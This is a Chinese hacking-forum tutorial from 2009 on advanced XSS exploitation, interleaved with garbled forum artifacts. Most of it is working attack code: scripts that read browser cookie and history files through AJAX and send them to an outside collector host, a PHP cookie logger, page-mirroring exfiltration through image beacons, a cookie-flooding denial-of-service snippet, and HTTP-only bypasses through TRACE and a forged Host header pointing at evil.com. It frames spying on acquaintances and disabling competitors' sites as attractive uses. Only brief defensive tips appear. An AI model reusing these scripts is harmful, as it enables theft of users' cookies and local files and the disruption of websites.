XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
9 o$ V% C; t' z, b/ b本帖最后由 racle 于 2009-5-30 09:19 编辑

1 Q: @6 d5 {4 i) F" c- [& j+ j% e1 ]XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
+ `/ ^: J" @4 n  n8 EBy racle@tian6.com   
1 V. W% B3 _' }: {4 D3 [6 w0 Bhttp://bbs.tian6.com/thread-12711-1-1.html
% I/ _: b4 C4 a" M8 U* f6 g2 ]转帖请保留版权



  S' L( s. Y: n9 o, s2 @-------------------------------------------前言---------------------------------------------------------
2 j- @) J  ]  b

5 Y% Y2 _! T; z& |: ^% |, Z9 f本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
  `  x" F7 u6 G9 F5 L" R2 |
& ~0 x0 R+ R# Z  a2 x5 K* P
如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
0 I( R0 R8 i! W) m) i& Mhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
* I" E3 B0 B2 m, l+ B7 p
/ t9 ]5 T7 [) r! @2 S) @9 x


0 ~) q) `( `9 S如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

/ A6 k9 C% A' ?5 E7 M8 G3 S希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
9 E5 ~* z3 _8 {9 H
1 Y$ C1 M/ J, A如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
4 E3 o" p) j# `) f
" r9 Q7 h3 a, |/ k: M/ X% mBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.
8 Y3 \! ?) [" p& C' Y" m/ ~
  C) |' ]$ n( u; ^" ^& |OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
& ^/ Z( P! Z$ w; T
; P1 t/ a, g0 W/ ]& {..........
0 O- K8 p) e! ]$ i$ m9 }复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
7 O  `* F. {. X6 E6 X* U& R( i2 h
9 |/ }( ]" @( O$ ~6 g

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.


, H/ T2 g9 R$ V7 C9 L8 i
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
, @8 q  T! ^' Z+ I1 L复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
$ Z; v% `4 y) |# e7 f5 w, h9 n我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
. e% ^! F# T* g) k& ]. e
4        XSS漏洞在输出和输入两个方面怎么才能避免.
: _/ k, v4 _! j) v/ K. q" J


( V8 h" \0 }1 L" r: U% [------------------------------------------研究正题----------------------------------------------------------
& |: T& C# S6 r- c* q6 e+ g, e2 o
  ~: |% \- e2 Q/ f% h, q; L

& M5 Z; C9 p& O+ N& X9 j- [通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
0 `9 H# l3 v8 U7 c) w复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
+ K: E5 P2 K  E1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
, Z+ B& P0 [4 u2 l5 L' H

$ o7 l2 V8 n$ G/ Y4 o) @. M: V, N

6 W. r9 v% |: S* a5 `$ D5 O0 @% v
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

, K6 V. c2 \/ x/ j( ?9 ]8 q我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
' y: H1 U* a1 ~+ G8 j, Z. A

) W6 b! T7 D4 L: q
: f* h1 ~' Q9 ~% B( d    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
& T7 \' G0 e! `  }& x: W7 R
0 ?/ C7 I6 }3 f% B7 j

9 [0 F* J% X1 K3 h$ Q4 q/ M/ {    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
/ t. C8 C4 I+ P0 ~9 ^2 f- l8 u, G

% d; h4 ^& S- q3 {& _
! m+ Y$ e+ @7 [  M    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}
3 c" e9 G9 M- O+ Y# ^% Y: m* o

, a) C6 \, A4 T& Q
    function ajax_obj(){
! d" ?6 V3 c( n# E! \/ y& O
) W8 T" d4 k+ A; V# Z! h1 j* @    var request = false;

    if(window.XMLHttpRequest) {
1 @- a; m% l" c8 c1 J2 }
! {: b% }9 E2 S5 g0 @! b8 G: B+ J    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
+ \$ x5 L4 J! a3 x% P- C+ m
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

& _# [+ l: K! y, q" S
: E! }* z/ g6 g
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
' x7 Y" v9 \% i& q. [* i! u3 z
) C/ d' D: p9 n4 O$ S    for(var i=0; i<versions.length; i++) {

4 m; v% `3 t& K5 A0 l6 Q7 A$ @    try {
7 D% G: e# R9 w% m- `
    request = new ActiveXObject(versions);

    } catch(e) {}
' Q$ Z+ a# }/ z
    }
0 o  Q6 |! y! m
$ \, @- M# j; Y# }    }
( c- e7 O0 E5 R4 J9 J3 W6 U% ^
    return request;
" l! {# p& @6 K
% H$ H& ]  _) ~3 [3 I) `    }

1 U  V" M. ^! S$ N- l    var _x = ajax_obj();
5 h7 ?  ]/ A% i+ d
    function _7or3(_m,action,argv){

$ g# _4 f* H2 l$ d    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
, j; i! h; }' u0 C2 ^- Q
    return _x.responseText;

    }



    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
9 t( X1 e& ^% t' L9 u) H7 u- L
    alert(txt);


4 a- u$ G& Y- o
    </script>
3 U! x4 M0 B7 z- t. \( D复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
2 P7 E2 w# Z& ~( }# k* _' p
    function $(x){return document.getElementById(x)}



4 |, {% l. }" P) t/ @    function ajax_obj(){
7 D( m- |) ~5 `  [! l  m) _, ~
    var request = false;

( x! Y; f) l* H# V  T    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
# D6 n4 i  [- R  r4 u7 _6 N/ s" `
, v7 {% \6 _  L6 C+ c+ n  ?    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
& O. \" C4 f, k0 t6 Q* P' a


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 O) x1 A' r# h) ^
, q; l- s% [  A/ J. n0 j    for(var i=0; i<versions.length; i++) {
. ^) D: d  z2 s2 h5 ?; O
' U2 m9 P* ^" O. y* n8 Q    try {

3 l2 M/ Z6 x& |) I/ R    request = new ActiveXObject(versions);

    } catch(e) {}

  ^2 k4 E7 m8 z    }
# I8 i2 g; ?& D5 o5 V
# P5 u  U8 h6 ~$ ?$ _/ W. ~: f    }
1 B# w$ G1 ^; w) _
    return request;
. F, c/ v# S9 |
    }
. b; ]5 ~, ^( @' N, M4 w
6 n7 T2 k4 d! J& G% z2 Q) l/ l    var _x = ajax_obj();
7 J. Y: [6 [% r4 t  e; Q, P& W* Q
: J: c& \; m  y) `; d# F    function _7or3(_m,action,argv){
5 v7 T% {$ W2 g# m  s1 R
    _x.open(_m,action,false);
7 I  S. `6 v2 @
7 \  J" k* I9 Q" J    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

4 q9 k2 |( `$ r2 w1 `; V! }    _x.send(argv);

    return _x.responseText;
. C' h5 d$ o; \5 b- F8 i3 T
& l9 ?! {; k" q& q+ H* K6 T    }
! V/ r& E5 Q$ Z+ ?( D, X% Q
; Z& q, q+ i% g" H* W' j

, l- n$ ?7 c4 D* X    var txt=_7or3("GET","1/11.txt",null);
9 U1 D( D7 l2 g+ S
    alert(txt);
: I' z  T9 |  G
  H& t% D2 `, k+ `7 S7 r; k
- c8 g) t+ G2 \* w
4 e; c4 F, k) _2 J, O/ d    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

' D% Q/ `/ \, T. q: I. X
! b! i* T. j  n' X/ S0 @* v
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
' \% \6 G3 D: N: i( H3 I9 Z+ }6 |
3 `2 p8 q0 I* c! O) n
6 e) S+ t% J" q& c& O
  q" `, X' k. v; _<?   
  E3 f: X6 `% j  k
/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

  L8 k7 ~8 R1 ^  ~' f     www.inbreak.net   
0 I* m1 F! y  H* g9 q
     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
5 C' S/ \9 |$ S; F- H
/ B& h: D( U& @( k% {2 `, R*/  
4 X  g0 e! A1 c0 i" n" V
1 c' `3 ?9 h7 K6 S2 uheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   
8 @3 w0 Q2 d# ^1 N
/*  
) s0 l: J6 G: i- H4 F8 g
0 E# P$ i' `5 M& z% p9 t! o: g9 _- s     set header, so just download html file,and open it at local.  
. o: {- u$ e' p- {# f, H. H
*/  

( n% e3 _2 A8 {/ `& n?>   
$ w6 _. r! r/ C2 ~, y% a" ]
* h. h( w6 G" I9 s<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
# G* o" U2 O! C2 }8 l
     <input id="input" name="cookie" value="" type="hidden">   
  e, T- a6 Y( d( v; b
</form>   
+ |; Y" x+ K& p
( ^& \" S# i* n<script>   

function doMyAjax(user)   
2 |7 _  @, K5 r& A7 d9 G
2 W7 @) F2 {  r! e: G{   

9 t/ R' H9 H; b. j2 Yvar time = Math.random();   
, i/ G" }6 r5 ^
/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
  d. P5 V  b4 X+ J# q) |3 K
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
/ N, P# f( c: k; {  Y6 _
, ~1 G+ K0 M8 l7 A6 ~* Yand so on...  
6 _5 o0 Z2 U9 \( W1 b+ r
9 _$ m6 j# T9 g' f8 S*/  
. I. I9 d/ r: A* ~6 C' U) i
1 `8 E4 v4 V5 R" Qvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

2 f$ B& c& b+ Z, L. Z/ n. @- v   
% i  C) h$ u/ T9 ~* J
7 c3 Q9 x% w* F! H2 ZstartRequest(strPer);   

# y8 S  {* @) }" c7 V. `

5 j# P7 P5 u+ u5 P1 ~0 ^9 s}   

. f( b3 {* b8 }% g2 W   

: x- z  @# U+ r2 N$ y4 c2 _1 Gfunction Enshellcode(txt)   

. E0 o4 ~* s) @2 c{   

/ @* F$ k) C* \% x  rvar url=new String(txt);   

var i=0,l=0,k=0,curl="";   

) l# d. I* f# M2 c; k  Yl= url.length;   
7 T9 q8 t; n! W1 C
for(;i<l;i++){   

' o! l' U* K7 g* _k=url.charCodeAt(i);   
. [8 A# R6 j4 ?2 b0 b/ h7 J1 s
! A) Q1 O) i* {if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
! G) H# U$ a/ d
5 @- i- j& s" L1 a" m! Pif (l%2){curl+="00";}else{curl+="0000";}   

( `8 ~0 _. P, ?. m- G# |8 X( b3 l) ucurl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   

9 F+ Z) q  m. b" p9 J6 V' F}   

   
8 o3 Y- A" ^$ F; z" n$ U
   

$ v7 N9 j% u, w% K4 Hvar xmlHttp;   
/ p* ^8 J' [$ j6 _) z0 d
( j) y6 H( k) z& {' V* B2 _function createXMLHttp(){   

0 q+ n+ g3 e3 A& f- X: P     if(window.XMLHttpRequest){   

2 F; o7 N& ]/ @# C; TxmlHttp = new XMLHttpRequest();           

     }   

     else if(window.ActiveXObject){   
) ~% m, C( K  e. c- k& f
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   
  j, g2 V; s0 f: O; j* _
( e  w* \9 U/ Q" G: i8 ^$ T}   

   
$ b* n: h8 L( |- [2 b
) R6 P, E* ^; B6 ?4 y1 ffunction startRequest(doUrl){   

   

     createXMLHttp();   
7 _, v3 V# x7 r- c% g


     xmlHttp.onreadystatechange = handleStateChange;   
( r2 g) e. `6 o6 a, \5 q$ [$ f


     xmlHttp.open("GET", doUrl, true);   
9 m! Q2 V) y4 f' ~2 n6 m+ {1 d) H
& |/ m3 n  I; `9 c

     xmlHttp.send(null);   
: }. q( R9 @  a* f




6 p8 P% h2 e9 ~}   

   
, J. X& f' C; T) ~
* A% F; p) \4 q- \1 Ofunction handleStateChange(){   
$ D9 N$ _  D# P, T3 m. U$ F
     if (xmlHttp.readyState == 4 ){   
" K' V2 ^: ~2 r- L) O/ g
) O& {. M  x5 B6 r8 d9 P     var strResponse = "";   

5 T+ G2 L) u$ p3 X6 h     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

" ^( ~* @' O' @- a        
- f  j4 S, h. j2 i
  ?  s4 m9 O, B/ u$ f     }   

# B4 h  S0 [- f  i# {/ o}   
. U! L! R# z$ O9 M
3 S: b* ]% a2 V   

   

" g7 ^0 A2 p7 J- i2 ofunction framekxlzxPost(text)   

# z' o9 {' c$ ~& J  R8 i" P{   

     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   

* `: R, R) b/ I0 K5 c}   
) k/ o- ?/ ^' H7 k; S: B1 O( I
% q( K/ M$ s4 j8 r+ R+ I7 x   
  L1 B- r. `3 n. c2 R% F7 C
' [" q! {. v" r, p/ fdoMyAjax("administrator");   

4 k/ T* ~- b0 G& q# ?4 D5 p   

$ _, j: ~# C3 b* I</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

; I4 B. X3 I* K2 _var xmlHttp;  

function createXMLHttp(){  
) ~* J* ~+ [6 O/ B1 o. b& Z
     if(window.XMLHttpRequest){  

2 J& H9 l/ b) u/ A! q         xmlHttp = new XMLHttpRequest();         

     }  
9 W: m& A/ ?6 n7 e' g, A* L
2 R! ~9 Y+ v2 |5 B/ t" c& I- R     else if(window.ActiveXObject){  

& J5 I/ ]- I0 c7 C- D* A: W# H         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
1 V. W  ?8 p6 f4 _8 c
     }  

3 E* j7 @( ~7 y! j7 [7 w+ @}  
  Z% p' u$ N# t; S/ H9 ^
   

function startRequest(doUrl){  
3 |, O- j" t- l+ p! \
           
! J+ S' F) j) l
     createXMLHttp();  
$ t& d4 g4 c0 V! ^1 u. C3 Q9 o
$ a/ F- `3 E" K! w2 ?. X8 ~- H% G# E      

     xmlHttp.onreadystatechange = handleStateChange;  
: b% s0 Y% ?( T' P- ~$ S
$ c) i( i" t$ w! T      

     xmlHttp.open("GET", doUrl, true);  
- |- w) O- E, S; H9 I: p) t+ a
" U+ y8 s, c% _- @      

3 v. l- H. V  |' X: @4 z5 t     xmlHttp.send(null);  
3 T( ?3 m# H& |- t( A$ d) N& Q
- i/ G! J7 `9 `: g$ h- ~3 g      
4 W" t5 i. ]9 ?7 Y( h4 s
      
) a8 N  @* l/ o9 _$ |/ L, m
" [0 g* f# l) M3 C" g}   
9 x7 x; _9 b' L+ Q: w
   
) |3 l% j+ p& D3 d# t* Z: d
1 f! m. [0 w4 I' E  Ifunction handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  
2 ^. K3 L) m2 R6 r
) r6 G$ G: Z! r# u: p' c9 i4 ^: ~             var strResponse = "";  

8 t' X5 x# M  F1 X* K0 y             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               

" Q. H: U6 a2 L0 A9 Y4 G     }  

2 P+ Z: k' v7 J}  
; b/ }& }" g9 M+ B
   

function doMyAjax(user,file)  
7 p2 {4 A  u) j! x
{  

         var time = Math.random();  

           
+ s3 R8 q" x/ z) c  C  U
5 U; F, v' P+ A+ Q$ N  `         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
! E+ W+ Y8 e2 _" Y% l4 |
1 ?5 a/ X& G1 C2 }  Y           

         startRequest(strPer);  
$ A, X7 g7 I7 C- T, ~
! y5 L, x9 v& o% K( Z      

}  

   
* m- m9 u$ s  r
" R( G$ j/ Q' W- R* Ufunction framekxlzxPost(text)  

. f& v7 n3 j) u4 J6 o2 n{  

! r/ F4 [2 }; S( _/ P0 G# ~     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
$ B( w0 Q9 z$ m+ n
6 H* h! h9 X8 |: Y" {; a0 X     alert(/ok/);  
% Q# a& g% S; O% _3 g0 j% v6 n
+ [" `, Z* w/ D+ ^8 t0 V' B}  
! x! Z1 M7 |) s/ [2 v7 [$ V& t3 e
1 b" ]- _, ~$ B   

doMyAjax('administrator','administrator@alibaba[1].txt');  

4 n) O4 I1 R6 I6 X* o3 V   
% K9 _( G2 b- i; L6 N. h
* w4 b' i' b1 u9 D3 Q- ?! g</script>


4 c/ J1 b) c' H) |; c, V# P

- Y: V/ ^6 B- r; f6 M5 K
% c# @8 ]* H! w8 \4 ?  t# S  O, Va.php
/ y8 E  l+ |( |; c

( X. h; q0 _  ~9 u7 L. c! K- s7 ~
<?php      

   
8 z2 S! I# \; k+ k, j
8 S' g* z/ N9 f; `$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  
4 \, L) a' F2 z* ~$ q* s. \' j
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
. u; i& @* r( L* f
fwrite($fp,$_GET["cookie"]);      

fclose($fp);   
( n, T8 D' q, |( R/ C7 _
- n8 {. z8 K( C2 E?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
4 c/ Z/ _: L; ~& J7 x" k
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
. I. c% l, s' H( d0 m: q/ S, F
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

8 Q4 B5 k4 S& s//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

# ~* a  p8 g- |, U+ f" |* @function getURL(s) {
' S0 z( j* t8 h: M7 i
9 H+ F7 r/ C" w) z& cvar image = new Image();

; v2 @  g1 d$ r# v' {3 p" Simage.style.width = 0;
# ?6 Y6 @# T# ?0 u4 E( s1 g( A
2 T  ^. T0 @9 T# _. Mimage.style.height = 0;

image.src = s;
! ]+ u1 F1 u3 x  p! P
0 ]9 ?! z+ ^" y}
* E) a# G4 S8 p$ ]4 z  e% P) a1 a8 M
: o) ^; D0 ]' sgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

8 B" R/ r' Q6 r* bvar metastr = "AAAAAAAAAA"; // 10 A

var str = "";
( K" E! ~9 u: Z8 m. ]
while (str.length < 4000){
( M0 r+ U( n+ H+ F: l; Q. r
    str += metastr;

}

. e3 w3 q) d2 w  N6 R' M1 v
* n7 ?. L/ E. c2 g, @/ l) J/ J* r
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

  ?) l3 w3 A. f0 F5 O</script>

' B. D, \$ c; T4 I4 o) u" R/ d详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
6 J9 k+ H% G- P- c- O# V- v: kserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
9 d6 T% k: m8 O
6 n- D+ L$ S! I! ~" w假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


2 v( o7 p5 ?9 A4 D1 Y, g( |
( B: r/ O- B$ B8 U. U8 P

7 z; }; H. k+ c/ H, e7 E
(III) Http only bypass 与 补救对策:
. g# b, ~6 A+ y
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
2 o# x: p- b3 h3 Z! Q3 ]9 B
) ^* w: H* s/ f; Y( k) }) Z<!--
  L3 o1 }. i2 p  e) E
2 C0 m1 u; s) u1 E0 c0 xfunction normalCookie() {
3 @! t8 f% A0 T* C8 }' z: W/ w7 C
document.cookie = "TheCookieName=CookieValue_httpOnly";
( M( a* K# ?8 G9 D3 o, y
alert(document.cookie);
4 A3 C5 o1 m; s3 x- o; E4 x
}

5 W, `8 ^5 _& u2 k8 F

3 `- t9 p/ q, i/ b3 C+ t# K. m5 N8 U
7 d1 w% w7 r( s6 b6 d2 |
function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
" m: D% B" a3 t# C( G4 b! ^
% G1 \8 m8 o% T4 U  z. H6 salert(document.cookie);}
1 h. o4 S- c9 t
- D/ p1 |# }# E* w

//-->
3 W3 C' N/ V, D$ _  K
( [* ~/ d2 @1 g5 [# y0 [5 @3 o</script>
1 ?/ X, t: g! x: t8 R6 V

8 f. B7 g# u) t/ H6 d" C. K
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
9 n8 G  ~, b- Z3 z复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>


4 |) b" R1 ^! g
var request = false;
6 k& g& R* c1 L8 e. o9 M
8 p/ a& k" ^9 |5 f3 F! m3 H        if(window.XMLHttpRequest) {
, U/ K: U1 r) M  _' s7 k6 P
6 U: |& H# Z! Y6 u; N/ B/ x            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
, ?/ E/ `" Q5 z* l9 z/ V- |, Z
0 f/ R7 e6 h7 N! `/ J                request.overrideMimeType('text/xml');
, H7 g( R; h  X, Q' |! X
- Q7 ]/ |/ w( |* Y            }

9 ]2 \+ b# Q6 B! ^4 P( R. \5 V" q" t        } else if(window.ActiveXObject) {

3 {6 ?6 ?" A8 R            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
7 R8 W. A* J" u. s9 [) B
                try {

, R7 `1 U& N6 N  E( `                    request = new ActiveXObject(versions);

                } catch(e) {}
, v! J9 U' {# g( J2 Z0 w$ D0 K
% b6 g) x2 H' c6 A- G+ F            }

        }

xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);
9 {: B6 N- Q) j1 ^' c; Y
8 A* P  y, }6 {4 A; r2 [xmlHttp.send(null);

xmlDoc=xmlHttp.responseText;

" m* y1 w2 k# O! Lalert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

  _2 J; d3 I0 {  X# ]" u" G; r3 t  aXmlHttp.open("GET","http://www.google.com",false);

# s" w) b% M! Q( Z' W& \2 o1 ?XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
9 c% R+ |' |; M4 h" X7 X
XmlHttp.send(null);
2 c" U2 O2 N8 G/ a$ L
var resource=xmlHttp.responseText

resource.search(/cookies/);
5 F' [6 C% F( s  {* M
& z" ~3 s$ t. v# A3 |......................
2 y, W1 u0 m7 p
' ?' r/ i* X: c+ W* K</script>

  v' r5 g/ ?5 T/ V! ]" _- \

$ F, z1 ?! |: P# @0 D: v

. ^: Z% f' d+ W如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
5 l  y7 f  L3 n/ n7 z: v
[code]
5 N- q) p0 t4 Z2 Q6 K4 N$ ]. t
. e" k) T9 Q- |/ y, bRewriteEngine On

% g# I. S% g( B) |2 j  {& ^RewriteCond %{REQUEST_METHOD} ^TRACE
  Z/ ^6 j4 Z$ w8 F1 s
RewriteRule .* - [F]



+ U+ K  ]$ Y  v7 }( ySquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE
& ?$ z/ a5 Z  g( ]; G
...

http_access deny TRACE
( Z  J( U' h3 @& d* ]复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
' G  R' G' H7 l+ B- {( _
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

